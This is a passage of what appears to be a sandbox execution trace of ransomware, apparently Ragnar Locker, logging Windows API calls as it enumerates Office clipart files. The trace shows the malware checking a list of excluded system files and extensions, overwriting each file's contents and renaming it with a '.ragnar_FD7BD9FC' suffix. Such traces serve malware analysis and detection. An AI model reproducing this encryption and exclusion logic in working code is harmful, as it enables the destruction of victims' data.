nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.986] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.986] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.986] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.986] GetProcessHeap () returned 0x580000 [0085.986] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.986] CloseHandle (hObject=0xf4) returned 1 [0085.986] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" [0085.986] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ragnar_FD7BD9FC" [0085.987] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200189.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200189.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.987] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa65cc000, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa65cc000, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x7a46, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200273.WMF", cAlternateFileName="")) returned 1 [0085.987] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.987] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200273.WMF" | out: lpString1="J0200273.WMF") returned="J0200273.WMF" [0085.987] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned=".WMF" [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="autorun.inf") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="boot.ini") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="bootfont.bin") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="bootsect.bak") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="bootmgr") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="bootmgr.efi") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="bootmgfw.efi") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="desktop.ini") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="iconcache.db") returned 1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="ntldr") returned -1 [0085.987] lstrcmpiW (lpString1="J0200273.WMF", lpString2="ntuser.dat") returned -1 [0085.988] lstrcmpiW (lpString1="J0200273.WMF", lpString2="ntuser.dat.log") returned -1 [0085.988] lstrcmpiW (lpString1="J0200273.WMF", lpString2="ntuser.ini") returned -1 [0085.988] lstrcmpiW (lpString1="J0200273.WMF", lpString2="thumbs.db") returned -1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.988] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf")) returned 0x20 [0085.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.988] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31302) returned 1 [0085.988] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a3d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.988] GetProcessHeap () returned 0x580000 [0085.988] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.988] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.990] VirtualAlloc (lpAddress=0x0, dwSize=0x7a46, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.990] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.990] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7a46, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7a46, lpOverlapped=0x0) returned 1 [0085.991] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.992] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a46, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.992] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7a46, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7a46, lpOverlapped=0x0) returned 1 [0085.992] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.992] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.992] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7a46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.992] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.992] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.992] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.992] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.993] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.993] GetProcessHeap () returned 0x580000 [0085.993] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.993] CloseHandle (hObject=0xf4) returned 1 [0085.993] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" [0085.993] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ragnar_FD7BD9FC" [0085.993] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200273.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200273.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.993] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9f04700, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9f04700, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0x4c0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200279.WMF", cAlternateFileName="")) returned 1 [0085.993] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.993] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200279.WMF" | out: lpString1="J0200279.WMF") returned="J0200279.WMF" [0085.993] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned=".WMF" [0085.993] lstrcmpiW (lpString1="J0200279.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="autorun.inf") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="boot.ini") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootfont.bin") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootsect.bak") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootmgr") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootmgr.efi") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="bootmgfw.efi") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="desktop.ini") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="iconcache.db") returned 1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ntldr") returned -1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ntuser.dat") returned -1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ntuser.dat.log") returned -1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="ntuser.ini") returned -1 [0085.994] lstrcmpiW (lpString1="J0200279.WMF", lpString2="thumbs.db") returned -1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.994] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf")) returned 0x20 [0085.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.995] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19466) returned 1 [0085.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c01, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.995] GetProcessHeap () returned 0x580000 [0085.995] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.995] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.996] VirtualAlloc (lpAddress=0x0, dwSize=0x4c0a, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.997] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c0a, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c0a, lpOverlapped=0x0) returned 1 [0085.998] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.998] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c0a, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.998] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c0a, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c0a, lpOverlapped=0x0) returned 1 [0085.998] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c0a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.998] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.998] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4c0a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.998] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.998] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.998] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.998] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.999] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.999] GetProcessHeap () returned 0x580000 [0085.999] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.999] CloseHandle (hObject=0xf4) returned 1 [0085.999] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" [0085.999] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ragnar_FD7BD9FC" [0085.999] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200279.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200279.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.999] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb379af00, ftCreationTime.dwHighDateTime=0x1be3e98, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb379af00, ftLastWriteTime.dwHighDateTime=0x1be3e98, nFileSizeHigh=0x0, nFileSizeLow=0xa0b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200289.WMF", cAlternateFileName="")) returned 1 [0085.999] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.999] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200289.WMF" | out: lpString1="J0200289.WMF") returned="J0200289.WMF" [0085.999] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF") returned=".WMF" [0085.999] lstrcmpiW (lpString1="J0200289.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="autorun.inf") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="boot.ini") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootfont.bin") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootsect.bak") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootmgr") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootmgr.efi") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="bootmgfw.efi") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="desktop.ini") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="iconcache.db") returned 1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ntldr") returned -1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ntuser.dat") returned -1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ntuser.dat.log") returned -1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="ntuser.ini") returned -1 [0086.000] lstrcmpiW (lpString1="J0200289.WMF", lpString2="thumbs.db") returned -1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.000] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.000] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf")) returned 0x20 [0086.000] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200289.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200289.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.001] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41136) returned 1 [0086.001] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.001] GetProcessHeap () returned 0x580000 [0086.001] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.001] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.002] VirtualAlloc (lpAddress=0x0, dwSize=0xa0b0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.003] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa0b0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa0b0, lpOverlapped=0x0) returned 1 [0086.004] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.004] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa0b0, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.004] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa0b0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa0b0, lpOverlapped=0x0) returned 1 [0086.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa0b0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.005] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa0b0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.005] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.005] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.005] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, 